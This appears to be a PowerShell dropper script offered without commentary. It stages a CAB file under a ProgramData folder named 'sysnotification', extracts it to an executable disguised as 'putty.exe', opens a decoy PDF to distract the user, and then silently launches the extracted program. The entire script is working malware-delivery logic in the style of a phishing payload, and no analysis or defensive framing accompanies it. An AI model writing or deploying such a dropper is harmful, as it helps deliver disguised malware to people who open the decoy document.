
Write-Host 'GooD MOrning'
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
Set-Location $scriptDir
$logPath = Join-Path $env:ProgramData 'sysnotification_log.txt'
function Write-Log { param($message) $timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'; Add-Content -Path $logPath -Value "$timestamp - $message"; Write-Host $message }
Write-Log 'Script started'
Write-Log "Script directory: $scriptDir"
$targetDir = Join-Path $env:ProgramData 'sysnotification'
if (-not (Test-Path $targetDir)) {
    Write-Log "Creating target directory: $targetDir"
    New-Item -ItemType Directory -Path $targetDir -Force | Out-Null
}
$cabPath = Join-Path $scriptDir 'putty.cab'
Write-Log "CAB source path: $cabPath"
Write-Log "CAB exists: $(Test-Path $cabPath)"
$cabTargetPath = Join-Path $targetDir 'putty.cab'
Write-Log "Copying CAB to: $cabTargetPath"
Copy-Item -Path $cabPath -Destination $cabTargetPath -Force
Write-Log "CAB copied successfully: $(Test-Path $cabTargetPath)"
$expandExe = Join-Path $env:SystemRoot 'System32\expand.exe'
$targetExePath = Join-Path $targetDir 'putty.exe'
if (Test-Path $targetExePath) {
    Remove-Item -Path $targetExePath -Force -ErrorAction SilentlyContinue
}
Write-Log "Using expand.exe: $expandExe"
Write-Log "Extracting CAB to EXE path: $targetExePath"
& $expandExe "$cabTargetPath" "$targetExePath"
Write-Log "expand.exe exit code: $LASTEXITCODE"
Write-Log "EXE exists after extraction: $(Test-Path $targetExePath)"
Write-Log "Files in target dir AFTER extraction ($targetDir):"
Get-ChildItem -Path $targetDir -Force | ForEach-Object { Write-Log "  - $($_.FullName) (Length: $($_.Length))" }
$docDir = Join-Path $env:ProgramData 'Documents'
if (-not (Test-Path $docDir)) {
    Write-Log "Creating documents directory: $docDir"
    New-Item -ItemType Directory -Path $docDir -Force | Out-Null
}
$pdfSourcePath = Join-Path $scriptDir '0456-A.pdf'
Write-Log "PDF source: $pdfSourcePath"
Copy-Item -Path $pdfSourcePath -Destination (Join-Path $docDir '0456-A.pdf') -Force
Write-Log "PDF copied successfully"
Write-Log "Opening PDF..."
Start-Process (Join-Path $docDir '0456-A.pdf')
Start-Sleep -Seconds 7
Write-Log "Opening EXE from path: $targetExePath"
Write-Log "EXE exists: $(Test-Path $targetExePath)"
if (Test-Path $targetExePath) {
    Start-Process $targetExePath
} else {
    Write-Log "EXE was not created from CAB extraction."
}
Write-Log "Script completed"
